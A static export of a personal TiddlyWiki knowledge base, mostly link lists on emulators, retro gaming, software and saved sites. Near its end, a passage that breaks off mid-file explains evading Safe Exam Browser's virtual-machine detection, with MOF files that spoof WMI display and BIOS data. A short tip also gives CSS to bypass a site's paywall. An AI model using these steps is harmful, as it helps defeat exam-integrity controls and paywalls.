                                                    (Shown as static HTML content in the standard TiddlyWiki file)
                                                    $:/core/templates/exporters/StaticRiver
                                                    (Added meta viewport for correct viewing on mobile) [Pull Request]
                                                    $:/plugins/kookma/refnotes/ui/bibtexlibrary
                                                    Remove this applet from the sidebar since I don't use it
                                                    OcttKB/
                                                    Index
                                                      โ–ช๏ธ

                                                      OcttKB/Index

                                                      Octt 5th November 2023 at 10:41am
                                                      Octt 5th November 2023 at 3:43pm

                                                      WIP/TODO

                                                      Note: this section is by itself in an heavy WIP state... I will never escape from this ๐Ÿ˜ฑ๏ธ

                                                      • Better footnotes (should be clickable)
                                                      • Fix StaticRiver template, broken after introducing breadcrumbs (showing duplicate title, and also broken elements)
                                                      • Move all bachecoctt links (and old GitHub stars) to proper tiddlers
                                                      • Personal easy notes on various technical things of TiddlyWiki
                                                      • Organize all my customizations into plugins easily installable by anyone
                                                      • On showing date and time of last wiki saving (on Index tab on sidebar), also consider when a system tiddler is edited
                                                      • Breadcrumbs bar:
                                                        • Show unformatted title on click or at least disable hiding of some tokens
                                                        • Button to copy full path to clipboard
                                                        • Clicking on a path element brings up the compact directory listing at that point, instead of opening the tiddler directly
                                                          • Will need to expose an additional button to open the tiddler then
                                                        • In the small directory listing menu, add textbox/button to quickly create a new tiddler in that path
                                                      • In whatever directory listing, show button to create a new tiddler in current path
                                                      • Custom proper reusable directory tree browser (maybe like the one we have with $:/OcttKB/ToC)
                                                        • To use instead of the Directory macros, showing automatically on pages that are directories, and also as a file browser for the whole wiki
                                                      • Data compression of everything (without breaking TiddlyWiki CLI support)
                                                        • Choosing algorithm: best is probably Zstd
                                                        • Tiddlers should be stored compressed individually; At saving, they are all compressed and stored in the HTML; At loading, they are read and decompressed to start the app
                                                        • Single tiddlers are only compressed when it actually saves space, they should be checked at saving stage
                                                      • When opening missing tiddlers, show a preview from Wikipedia or from word dictionaries, with GUI to customize fetching options
                                                      • To the possible extent, save Git deploy scripts for the KB inside itself, for easy editing needs
                                                      • Case insensitivity for tiddlers (?)
                                                      • Handy button to reload direct scripts like $:/OcttKB/Functions.js
                                                      • A way to reload any internal script (JS macros and exports) without reloading the entire wiki
                                                      • Button to reload a single tiddler; if not possible, then the macros that can fail (e.g. MediaWiki, or all which fetch content from the Internet) should provide their own retry button
                                                      • Fix images embedded with CSS float, make them not go out of tiddler's body if too tall
                                                      • Better positioning of open/close sidebar button (should move the tiddler action bar buttons slightly to the left on single-column layout at least)
                                                      • Add a feature to let users send issues or pull requests
                                                      • Maybe add normal user comments?
                                                      • Rehost embedded games for better CSS
                                                        • Find the best retro console HTML5 emulator to embed in tiddlers which talk about certain games - they also need to be adapted to load ROMs from URL
                                                      • In here I also put some tiddlers that are about a mainstream thing or topic just because they are connected to a more worthy tiddler; they should be tagged as Mainstream so that they can be filtered out in search and stuff
                                                      • Special protection for some tiddlers, not encryption necessarily but just lock access to them globally until a specific task is performed (a password inputted is boring, maybe specific screen swipes is better)
                                                      • "Back to top" button
                                                        • Made with the style of bilibili, graphic is reused but logic needs to be reprogrammed

                                                      Nice to have

                                                      • When tiddlers are transcluded show a small version of their action bar without the <<{ >> macro
                                                      • Automatic lightboxes for images, without having to use the <<ibox>> macro

                                                      i18n

                                                      • Make the language bar collapsed by default, or make it a menu callable by a button on the tiddler
                                                        • Show the button as a country flag in the tiddler title maybe? Ideally showing it in place of the ":lang" suffix when present
                                                      • Selecting to open a language on a tiddler should ideally remove the previously open tiddler from the story river (or else if you switch language many times you have a cluttered river but no real advantage)
                                                      • Automatically handle connections between different-language versions of a tiddler when the only difference in title is the ":lang" suffix, without manually setting "i18n" attribute
                                                      • Automatically handle eventual tiddlers which don't exist by their common i18n name (e.g "Thing") but do with a ":lang" suffix, that should automatically transclude the preferred language
                                                        • Preferred language could be enforced by the user with a global setting, or just be set softly based on the language of the last tiddler opened by the user (latter is ideal)

                                                      External wikis

                                                      • Unified transclusion features for external TiddlyWikis and MediaWikis
                                                        • Adapt the MediaWiki macro to:
                                                        • Have internal links present
                                                          • Add lists of known wikis callable from a shorthand name
                                                          • Choosing number (by total from first/last, or ranges), or titles, of paragraphs or chapters to transclude (with support for specifying items to exclude)
                                                          • Retrieving and embedding files from wiki or Commons by known name (File:)
                                                          • It must also handle files that aren't images (audio/video)
                                                            • Default embed displays also the article cover image, allow setting a custom file or just none
                                                        • Understand transclusions from external TiddlyWikis (it seems like people just use iframes, OK for showing things but not for choosing to display specific limited sections)
                                                      • Somehow have working full-text search for tiddlers that transclude external wikis?

                                                      Graphing and statistics

                                                      Strategies for storing data

                                                      What are the ways that are most easily reusable, with the best UI possible, and many querying capabilities, to store the following data?

                                                      • CLI commands and flags, with snippets - how to view them in an interactive and visually compact form, to show only what each possible option does only when needed?
                                                      • Simple links that correlate to many different topics - I'm not making a dedicated tiddler for every single one, that's crazy
                                                        • ..or just any kind of data, Wikidata-style
                                                      Octt 17th February 2023 at 7:52am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/OLED

                                                      Octt 8th June 2023 at 2:08pm
                                                      Octt 23rd August 2023 at 11:30pm
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                                                      Octt 5th June 2023 at 9:36pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/VirtualBox

                                                      Octt 1st February 2024 at 8:15pm
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                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Pastebin

                                                      Octt 13th February 2024 at 7:33pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/software patch

                                                      • Xdelta-wasm โ€” Online xdelta and xdelta3 patcher โ€” [Git]
                                                      • Rom Patcher JS โ€” An IPS/UPS/APS/BPS/RUP/PPF/xdelta ROM patcher made in HTML5 โ€” [Git]
                                                      Octt 13th May 2023 at 10:21pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Personal computer

                                                      Octt 1st October 2023 at 9:40am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Peer-to-peer

                                                      Octt 6th February 2023 at 11:15am
                                                      Octt 28th February 2023 at 10:06pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Personal knowledge base

                                                      Tools
                                                      Feather Wiki - A single-file HTML wiki in ~50 KB - [Git]
                                                      TiddlyWiki
                                                      Misc
                                                      How to Set Up a Personal Wiki (with Jekyll) - [Code]
                                                      Octt 20th February 2024 at 12:43pm
                                                      Octt 26th February 2024 at 1:56pm
                                                      Octt 13th December 2023 at 12:17am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/phpBB

                                                      Extensions

                                                      Styles

                                                      Octt 19th January 2024 at 2:56pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/PICO-8

                                                      Get Games
                                                      Reimplementations
                                                      fake-08 - Pico 8 player for homebrew consoles - Tested on Miyoo with the latest version as of end of ~2021 (?), worked with not a lot of games [GBATemp]
                                                      Runty8 - Clone in Rust (Never tested)
                                                      Octt 7th February 2023 at 10:17pm
                                                      Octt 7th February 2023 at 10:17pm
                                                      Octt 23rd December 2023 at 11:53pm
                                                      Octt 6th February 2023 at 11:15am
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                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Pinball

                                                      3D Pinball โ€” Space Cadet

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Full_Tilt!_Pinball#3D_Pinball_for_Windows_%E2%80%93_Space_Cadet

                                                      • SpaceCadetPinball, plus other known ports โ€” Decompilation of 3D Pinball for Windows โ€“ Space Cadet
                                                      Octt 6th February 2023 at 11:15am
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                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/ping_(networking_utility)

                                                      • Ping "DUP!" โ€” It's something that can happen when seeing data with ping: a packet gets corrupted somewhere in the way and a duplicate ping packet is received. Not dangerous unless it happens very frequently.
                                                        $ ping example.com
                                                        PING example.com [...]
                                                        64 bytes from [...]: icmp_seq=1 [...]
                                                        64 bytes from [...]: icmp_seq=1 [...] (DUP!)
                                                        64 bytes from [...]: icmp_seq=2 [...]
                                                      Octt 17th February 2023 at 7:48am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Pixel Art

                                                      Octt 19th February 2024 at 10:40am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Pixelfed

                                                      Octt 22nd December 2023 at 11:39am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/PlayStation

                                                      Octt 19th January 2024 at 1:16am

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/PlayStation 1

                                                      Emulators, Debuggers

                                                      • no$psx โ€” nocash Playstation PSone emulator and debugger by martin korth, + resources
                                                      Octt 2nd November 2023 at 11:22pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/PlayStation 2

                                                      Emulators

                                                      • PCSX2 โ€” free and open-source PlayStation 2 (PS2) emulator โ€” [Git]
                                                      • Play!/Purei โ€” PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS & web browser platforms โ€” [Git] [Compatibility] โ€” promising open-source emulator but still really slow on mobile, and slow development because only 1 person does it, it would be good to donate to them.
                                                      • AetherSX2 abandoned emulator of the PS Two console for the Android platform, desktop, UWP, miles better than DamonPS2 despite the problems.
                                                        • Latest Android version (Google Play and website) is sabotaged, contains adware and reportedly runs worse, apparently latest good is v1.4-3060.
                                                        • Source code? Apparently the tarballs distributed on the official site are totally out of date, some are better and some worse, smells like an LGPL violation and it's also a practical problem...
                                                      • DamonPS2 โ€” The shadiest PS2 emulator in global, the only illegal PS2 emulator on Android, proven malware (adware for sure and spyware for all the permissions it requires, and potentially a backdoor).
                                                      Octt 3rd February 2024 at 6:36pm

                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/PlayStation_Portable

                                                      Octt 5th February 2023 at 3:01pm
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                                                      Wikipedia

                                                      Embed of https://en.m.wikipedia.org/wiki/Pokรฉmon

                                                      Octt 6th February 2023 at 11:16am
                                                      Portable storage for consoles at home and emulators on the go
                                                        โ–ช๏ธ

                                                        Portable storage for consoles at home and emulators on the go

                                                        Octt 20th October 2023 at 11:03pm

                                                        With some ideas, it's possible to conciliate the gaming at home on standard consoles, with the gaming on the go via smartphone emulators. Ideal setups revolve around the use of pocketable storage mediums (SD cards and USB pendrives) that are shared between the devices and hold all the games with all the latest save files, in a centralized plug-and-play fashion.

                                                        Octt 21st December 2023 at 12:21am

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Printing

                                                        • SystemPrinting (Debian) โ€” A basic view of the CUPS Printing system. Aimed at Debian 11 (bullseye) but it should fit most...

                                                        Printer

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Printer (computing)

                                                        Octt 7th February 2023 at 9:46pm

                                                        Proprietary Software: it's not really proprietary if you don't care about absurd EULAs and just always take your liberty to run, study, modify, and share it.

                                                        Octt 22nd December 2023 at 12:36pm

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Proxy

                                                        • Art Class โ€” Enjoy unblocked games, apps, and more. โ€” [Git]
                                                        • Tinf0il.tech โ€” Prยญobe the intยญernยญet priยญvatยญely โ€” [Git]
                                                        Octt 23rd April 2024 at 10:41pm

                                                        A pseudo-operating-system is a software that acts (in a limited way) like an operating system, but is usually a normal application that runs on top of real OS.

                                                        Here are some

                                                        Octt 8th June 2023 at 2:08pm

                                                        A pubnix (public-unix) is a Unix server provided by any entity, without profit motives, to the general public. They usually exist for self-empowerment, recreational, and learning use.

                                                        Some pubnixes are formally joined together in networks. One of the most popular active today is Tildeverse.

                                                        Octt 3rd November 2023 at 11:32pm

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Puzzle

                                                        Printables

                                                        Octt 7th January 2024 at 1:29am

                                                        Python is a high-level, general-purpose, dynamically-typed, and garbage-collected programming language, with an extensive standard library and mandatory-indentation style.

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Python

                                                        I hate that, while tab-indentation is practically supported by the interpreter, it's against the standard, and linters/editors hate you if you use tabs instead of spaces. micro just won't let you persist the option to keep tabs enabled instead of spaces across sessions...


                                                        • Thonny โ€” Python IDE for beginners, especially useful and comfy for integrating full MicroPython support, meaning one can edit the scripts residing on the MP device directly โ€” [Git]
                                                        • PocketPy - C++17 header-only Python interpreter for game engines. โ€” [Git]
                                                        • Python.helpful.codes
                                                        • Python Tips / Intermediate Python Book โ€” topics which are discussed in this book open up your mind towards some nice corners of Python language โ€” [Git]

                                                        How to and troubleshooting

                                                        Text:

                                                        Files:

                                                        HTML things

                                                        Octt 5th November 2023 at 11:30am

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/QEMU

                                                        How-to

                                                        Octt 6th February 2023 at 11:16am

                                                        Il Rasperino (Raspberry Pi) รจ un Single-Board-Computer ormai dimostratosi non all'altezza, sia a livello tecnico e pratico, sia per via di come l'azienda opera da piรน di un anno.

                                                        Piรน informazioni al suo riguardo sono disponibili sul sito ufficiale: https://www.raspberrypi.com.

                                                        Sotto lo stesso nome di Raspberry Pi, la Raspberry Foundation crea anche dei microcontrollori, oltre che questo tipo di computer completi.

                                                        Octt 5th February 2023 at 2:57pm
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                                                        Tools

                                                        Octt 20th December 2023 at 12:41am

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Regex

                                                        Octt 20th September 2023 at 3:51pm

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Ren'Py

                                                        • unrpa โ€” Program to extract files from the RPA archive format โ€” [Git]
                                                        • unrpyc โ€” A Ren'Py script decompiler
                                                          • madeddy's fork, to work with newer games, since original seems abandoned since 2022

                                                        Notes

                                                        Octt 11th December 2023 at 12:43am
                                                        • 8bitworkshop โ€” web-based IDE for 8-bit programming and Verilog development โ€” [Git]
                                                        • Yandex Retro Games โ€” Yandex Museum's competition dedicated to game development for retro platforms
                                                        Octt 30th January 2024 at 12:14pm

                                                        Wikipedia

                                                        Embed of https://en.m.wikipedia.org/wiki/Retrogaming

                                                        Resources

                                                        Play online

                                                        • Let's Play GBA โ€” Play All Game Boy Advance Games Online โ€” shitty JS emulation but offers a Flash emulator, curious

                                                        Emulators

                                                        • Mesen โ€” Mesen is a multi-system emulator for Windows and Linux. It supports NES, SNES, Game Boy (Color) and PC Engine games. It also includes an extensive set of debugging tools for homebrew development and romhacking. โ€” [Git]

                                                        ROMs and various archives

                                                        Misc

                                                        Rewriting server service scripts from sh to zx
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                                                          Rewriting server service scripts from sh to zx

                                                          Octt 8th October 2023 at 10:47pm

                                                          ...

                                                          Octt 6th February 2023 at 11:15am
                                                          Octt 13th February 2024 at 6:55pm

                                                          Wikipedia

                                                          Embed of https://en.m.wikipedia.org/wiki/RSS

                                                          Resources

                                                          Octt 12th November 2023 at 12:14am

                                                          Wikipedia

                                                          Embed of https://en.m.wikipedia.org/wiki/Rust language

                                                          • cargo-mommy โ€” Mommy's here to support you when running cargo~ โค๏ธ

                                                          Reclyclables

                                                          • ๐Ÿš€ hello-world.rs ๐Ÿš€ โ€” ๐Ÿš€Memory safe, blazing fast, configurable, minimal hello world written in rust(๐Ÿš€) in a few lines of code with few(1092๐Ÿš€) dependencies๐Ÿš€
                                                          Octt 5th March 2023 at 7:58pm
                                                          Octt 7th February 2023 at 6:39pm
                                                          Octt 18th February 2023 at 11:53am

                                                          Wikipedia

                                                          Embed of https://en.m.wikipedia.org/wiki/Samsung Galaxy Player

                                                          Galaxy Player 3.6

                                                          I have this one.

                                                          • Codename: aalto
                                                          • Product name: Samsung Galaxy Player 3.6
                                                          • Model number: YP-GS1
                                                          Octt 7th February 2023 at 6:04pm
                                                          Octt 7th February 2023 at 7:14pm

                                                          Inside the community, some Samsung products, notably smartphones in general, are called various names:

                                                          • Lagsung (Lag+Samsung): Because their OneUI Android interface is notoriously laggy, and considered "gummy" by some.
                                                          • Scamsung (Scam+Samsung): The company's smartphones, mainly lowest-end ones, are sometimes considered so low-quality, for various factors, that they are seen as scams.
                                                          • Gnusmas: Just the word "Samsung" in reverse. I've only really seen 1 or 2 people use this name, and I don't know its real reason.
                                                          • handwarmer: Referred to the company's Exynos processors, used in their smartphones; they tended to heat up so much that you could use your phone as an hand warmer (sometimes hand burner!). Although nowadays these chips still have their issues compared to some counterparts, the problem that got them this name is effectively a thing of the past.
                                                          Saved/
                                                          Articles
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                                                          Saved/Articles

                                                          Octt 5th March 2023 at 10:20pm

                                                          Collection of miscellaneous articles I read around the Web and found nice or at least somewhat interesting.

                                                          March 2023
                                                          Science has found a simple way to free us from our addiction to social media - [OcttArchive]
                                                          • Tech experiences that we enjoy are made so everything is as frictionless as possible.
                                                          • This is often exploited by bad corporations that put profit over people's health.
                                                          • External systems made to introduce friction when wanting to access a distracting app (forcing a X-second wait, requiring solving small logic puzzles, etc...), or during its usage (nudges telling you not to waste time), can reduce bad or useless screen time, without actually making the user feel like they are restricted (unlike what forced time limitations do).
                                                          September 2022
                                                          The sum of all knowledge and the sorry state of the web
                                                          Lose Weight the Slow and Incredibly Difficult Way - Trying to answer a silly question can take you through some serious science.
                                                          February 2021
                                                          Why doesn't Costa Rica use real addresses? - [OcttArchive]
                                                          August 2016
                                                          Iโ€™m a very slow thinker - [OcttArchive]
                                                          September 2010
                                                          Advice to Aimless, Excited Programmers: (1) keep it simple, (2) make it something you'd actually use. - [OcttArchive]
                                                          Saved/Articles/
                                                          Wikipedia
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                                                            Saved/Articles/Wikipedia

                                                            Octt 5th March 2023 at 10:38pm
                                                            Saved/
                                                            Games
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                                                              Saved/Games

                                                              Octt 25th November 2023 at 8:11pm

                                                              List of some small games I liked, I must save them but don't know where.

                                                              Saved/
                                                              Links
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                                                                Saved/Links

                                                                Octt 4th December 2023 at 12:12am

                                                                Random saved links that I should put somewhere...

                                                                • Dive into Systems โ€” free, online textbook that serves as a gentle introduction to computer systems, computer organization, and parallel computing

                                                                [Other contents are moved to private notes]

                                                                Octt 6th March 2023 at 5:02pm
                                                                Saved/News/
                                                                Tech
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                                                                  Saved/News/Tech

                                                                  Octt 6th March 2023 at 4:43pm
                                                                  Saved/Posts/
                                                                  Tech
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                                                                    Saved/Posts/Tech

                                                                    Octt 6th March 2023 at 5:03pm
                                                                    Octt 29th January 2024 at 12:58am

                                                                    List of some Internet sites (Web and also other protocols, so not only "websites") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.

                                                                    Some personal ones could be defined as "digital gardens" and are might be moved in that section.

                                                                    Note: "[property]-leaning" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).

                                                                    Blog-leaning

                                                                    [#] Saved/Sites/Blogs

                                                                    Book-leaning

                                                                    Gallery-leaning

                                                                    These are portfolios, collections of projects, hubs, landing pages, etc.

                                                                    [#] Saved/Sites/Galleries

                                                                    Note-leaning

                                                                    These are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...

                                                                    Wiki-leaning

                                                                    • WikiHands
                                                                    • WikiSpacc
                                                                    • Andrea Minini PKB: .com, .org
                                                                      • How (by Okpedia) โ€” Tutorials and Solutions KB โ€” (apparently a separate wiki of the same person above, also multi-language)
                                                                    • Computer Science Mojo โ€” David's Notes on coding, software and computer science โ€” [Git]
                                                                    • Everything2 is a collaborative online community consisting of a database of interlinked user-submitted written material.
                                                                    • Maggie Appleton โ€” [Git]
                                                                    • metasyn
                                                                    • Project Nayuki โ€” a magical girl software developer in Toronto, Canada.
                                                                    • bash.org QDB โ€” Quote Database Home
                                                                    • RetroRGB โ€” site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer
                                                                    • RaspiBO โ€” gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)
                                                                    • TheFrenchGhosty
                                                                    • The Refined Mind โ€” This is my tiny plot on the internet where I share ideas in progress. Itโ€™s my public workspace and an experiment in whatโ€™s known as digital gardening.
                                                                    • wiki.nikiv.dev โ€” [Git]
                                                                      • [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: .modalblur{display:none !important;}; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).
                                                                    • XXIIVV โ€” [Git]

                                                                    Mess-leaning (often the most creative)

                                                                    • Kicks Condor
                                                                    • samy.pl โ€” Website full of easter eggs by the same person who once hacked MySpace.
                                                                      • One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in view-source: ?) get a fake HTML. [Older but more in-depth analysis]
                                                                    • Tramaci.org โ€” Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di pseudo-OS web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente รจ interessante).
                                                                    Saved/Sites/
                                                                    Blogs
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                                                                      Saved/Sites/Blogs

                                                                      Octt 26th February 2024 at 2:05pm
                                                                      Saved/Sites/
                                                                      Development
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                                                                        Saved/Sites/Development

                                                                        Octt 26th February 2024 at 2:04pm

                                                                        Saved sites that are mainly about development (mainly devlogs, project showcases, or tips+tricks, and online tools).

                                                                        Note: the most technically useful ones, or the non-too-personal ones, might be listed under Development/Resources.

                                                                        Mainly game development:

                                                                        Saved/Sites/
                                                                        Galleries
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                                                                          Octt 29th January 2024 at 12:58am
                                                                          Saved/Sites/
                                                                          Uncategorized
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                                                                            Octt 21st December 2023 at 12:24am
                                                                            Saved/
                                                                            Social
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                                                                              Saved/Social

                                                                              Octt 12th February 2024 at 7:08pm
                                                                              Saved/
                                                                              Software
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                                                                                Octt 21st February 2023 at 9:45pm

                                                                                Random saved software that I have to save for whatever reason but (for the moment) can't fit it into other tiddlers.

                                                                                Organizations

                                                                                Server

                                                                                • HashOver - A free and open source PHP comment system designed to allow completely anonymous comments and easy theming
                                                                                • f2ap (Feed to ActivityPub) - Connect your website to ActivityPub using your RSS/Atom feed

                                                                                Web Apps

                                                                                Cloud things

                                                                                • Deta Space - Computer that lives in the "personal cloud"
                                                                                Saved/
                                                                                Videos
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                                                                                  Saved/Videos

                                                                                  Octt 5th March 2023 at 12:06am

                                                                                  Videos I want to save or comment but don't fit into specific categories.

                                                                                  Cicalone Simone
                                                                                  Abbiamo Preso il criminale che ci ha Aggredito con un Coltello alla Stazione Termini
                                                                                  Fa pensare molto il momento del video sottotitolato con "Mondo al contrario: criminali che chiamano la polizia", in cui con la (fattualmente falsa) scusa che la squadra di Cicalone lo stesse minacciando, il criminale fa cenno ad una vicina pattuglia di venire a risolvere la situazione... il criminale ha chiamato la polizia, non Cicalone, assurdo.
                                                                                  f4mi
                                                                                  Why is THIS in a PlayStation game?
                                                                                  • A mother calls in to a radio station to lament her child found a South Park video in a PlayStation game.
                                                                                  • In the years following, drama and contestations emerged, as well as doubts.
                                                                                  • The story is true: that video is actually present in the first revision of the game disc.
                                                                                  • The logical explanation is that video was used as dummy filler data during development for agile reasons, but then left there accidentally at release.
                                                                                  GioPizzi
                                                                                  Questa รจ la (nostra) guerra
                                                                                  Nell'anniversario dell'inizio della guerra in Ucraina del 2022, un'analisi su tutto ciรฒ che รจ girato attorno ad essa. Dai motivi effettivi del perchรฉ sia iniziata, come mai le reazioni esterne sono state quelle che abbiamo visto, e infine cosa bisognerebbe imparare dalla tragedia, perchรฉ riguarda costantemente anche noi che viviamo fisicamente fuori dal conflitto.
                                                                                  I did a thing
                                                                                  I made an illegal home security system!
                                                                                  In the video a solution for house security is created using a paintball gun, some servomotors, and a PC running a face detection program. When any face is detected, the gun is made to turn to face the person, and then shoot them.
                                                                                  I made hermit crabs armor then released them!
                                                                                  Johnny Harris
                                                                                  Inside Putin's Censorship War: How These YouTubers Are Fighting Back
                                                                                  The International Date Line, Explained
                                                                                  Louis Rossmann
                                                                                  This mentality is why the world SUCKS!

                                                                                  When a company does a shitty thing, naive people always say "Just don't buy from that brand if you are against that move", or the opposite "you're an idiot for buying the anti-consumer product". This is wrong since:

                                                                                  • Any company that was one day "good" will the next reveal itself "bad" if it's profitable.
                                                                                    • Then, there will be no good alternatives and you will be forced to "just buy" whatever you were saying to "just don't buy" the day before.
                                                                                  • By combating ourselves (between customers) we miss the big picture and the actual point of the matter, which is some moves are just plain bad and must be fought for what they are.
                                                                                    • Companies profit from the fact that people do war at each other instead of being united and ultimately get to undermine the freedoms of everyone.
                                                                                  Mainstream media catching onto the 'you own nothing' culture shift
                                                                                  Commentary of Charlie Warzel's article on The Atlantic "My Printer Is Extorting Me". An analysis on how anti-consumer DRM and subscription models are becoming so problematic that now even more mainstream media is starting to shed some light on the issue.
                                                                                  TED-Ed
                                                                                  What if you experienced every human life?
                                                                                  ThioJoe
                                                                                  How Anyone Can DESTROY A Scam Website in Minutes ๐Ÿ˜ค (Scammers Will HATE This)
                                                                                  yotobi
                                                                                  Un trauma chiamato 'Ultimo Minuto'
                                                                                  Analisi di un vecchio programma televisivo che non conoscevo, che metteva in scena ricreazioni di fatti pericolosi e/o tragici realmente avvenuti come scherzi, facendo recitare persone prese alla buona e vedendo la reazione di quelle che, pensando siano reali, vanno incontro agli incidenti.
                                                                                  ...
                                                                                  Rekka Bellum and Devine Lu Linvega, Hundred Rabbits - XOXO Festival (2019)
                                                                                  Life and experience of the 2 HundredRabbits, how they got to live on a boat in the ocean.
                                                                                  Stop Procrastinating With Note-Taking Apps Like Obsidian, Roam, Logseq
                                                                                  MS-DOS tutorial, or cure for insomnia?
                                                                                  The Art of Code - Dylan Beattie
                                                                                  The PC turbo button mystery finally solved! [VWestlife]
                                                                                  1. Cronache marxiane: Marx aveva ragione?
                                                                                  Octt 8th February 2023 at 10:41pm
                                                                                  Octt 21st December 2023 at 7:39pm

                                                                                  Wikipedia

                                                                                  Embed of https://en.m.wikipedia.org/wiki/Scripting language

                                                                                  GUI Scripting

                                                                                  • script-server (+ wiki) โ€” Web UI for your scripts with execution management
                                                                                  • n8n โ€” GUI Workflow automation for technical people โ€” [Git] [Docs] [Forum]
                                                                                  • Activepieces โ€” Automate your work, Open source alternative to Zapier, Tray.io, make โ€” Doesn't allow for complex workflows that span in multiple directions, only linear steps one at a time โ€” [Git]
                                                                                  Octt 11th July 2023 at 11:16am

                                                                                  Wikipedia

                                                                                  Embed of https://en.m.wikipedia.org/wiki/Search engine

                                                                                  Octt 13th June 2023 at 12:59pm

                                                                                  Having the need of running Safe Exam Browser while I've only got GNU+Linux on my laptop and desktop, I had to look for alternative solutions.

                                                                                  • There is no linux-native full SEB application, it's only for Windows and macOS.
                                                                                  • Running SEB on WinPE is unfeasible as it needs to install many runtime dependencies, it's too slow to do that while booted into the live system, and on my 4 GB laptop the ramdisk is not big enough.
                                                                                  • SEB by default detects and blocks virtual machines.
                                                                                    • This option can be changed in the local configuration file, but when starting an exam the configuration loaded from the server takes precedence over the local one.
                                                                                    • SEB 3.5.0 added an hard-to-break anti-tampering mechanism, where the LMS server verifies if the client is altered and won't let you take exams; patching the few needed modules won't work.

                                                                                  Turns out only way to work around the issue is to make a relatively stealth VM.

                                                                                  By analyzing the SEB for Windows source code, we can see some important files and methods, both by searching the files for keywords and by opening files referenced by other ones:

                                                                                  Also, by referring to various strings in the source code and issue #268, we can see that in VMs a bug occurs where 0 displays are detected. This must be accounted for after succeeding in concealing the VM from the program. A good start is in this class and method, which checks for displays and throws errors if necessary:

                                                                                  [TODO]

                                                                                  VM Setup

                                                                                  We choose VMWare Workstation 17 (latest version) as it lets a few important options be customized. First I created a VM with close-to-suggested settings (the primary ones don't matter here).

                                                                                  Then I modified the network card settings... [TODO]

                                                                                  After this, I installed Windows 10 (a build from 2019 I have on a burned DVD always at hand). No VMWare tools have been installed (see below).

                                                                                  Hardening Windows

                                                                                  In this case "hardening" is meant as enhancing the privacy of our Windows against third-party apps, which we need to evade VM detection; we don't mean it as making the system more secure or robust for an exam purpose, which is something neutral to us (we as examinees don't care about it, it does neither benefit nor harm us).

                                                                                  Create two new text files wherever you want. I will name them as WMI.mof and CIMv2.mof for convenience.

                                                                                  Copy-paste in WMI.mof:

                                                                                  #pragma namespace ("\\\\.\\root\\WMI")
                                                                                  
                                                                                  class WmiMonitorBasicDisplayParams
                                                                                  {
                                                                                  	boolean Active;
                                                                                  	uint8 DisplayTransferCharacteristic;
                                                                                  	[key] string InstanceName;
                                                                                  	uint8 MaxHorizontalImageSize;
                                                                                  	uint8 MaxVerticalImageSize;
                                                                                  	SupportedDisplayFeaturesDescriptor SupportedDisplayFeatures;
                                                                                  	uint8 VideoInputType;
                                                                                  };
                                                                                  
                                                                                  [DYNPROPS]
                                                                                  instance of WmiMonitorBasicDisplayParams
                                                                                  {
                                                                                  	Active = TRUE;
                                                                                  	InstanceName = "DISPLAY\\Default_Monitor\\4&427137e&0&UID0_0";
                                                                                  };
                                                                                  
                                                                                  class WmiMonitorConnectionParams
                                                                                  {
                                                                                  	boolean Active;
                                                                                  	[key] string InstanceName;
                                                                                  	uint32 VideoOutputTechnology;
                                                                                  };
                                                                                  
                                                                                  [DYNPROPS]
                                                                                  instance of WmiMonitorConnectionParams
                                                                                  {
                                                                                  	Active = TRUE;
                                                                                  	InstanceName = "DISPLAY\\Default_Monitor\\4&427137e&0&UID0_0";
                                                                                  	VideoOutputTechnology = 2147483648;
                                                                                  };

                                                                                  Copy-paste in CIMv2.mof:

                                                                                  #pragma namespace ("\\\\.\\root\\CIMv2")
                                                                                  
                                                                                  /* PS C:> get-wmiobject -class Win32_BIOS */
                                                                                  class Win32_BIOS
                                                                                  {
                                                                                  	[key] string SMBIOSBIOSVersion;
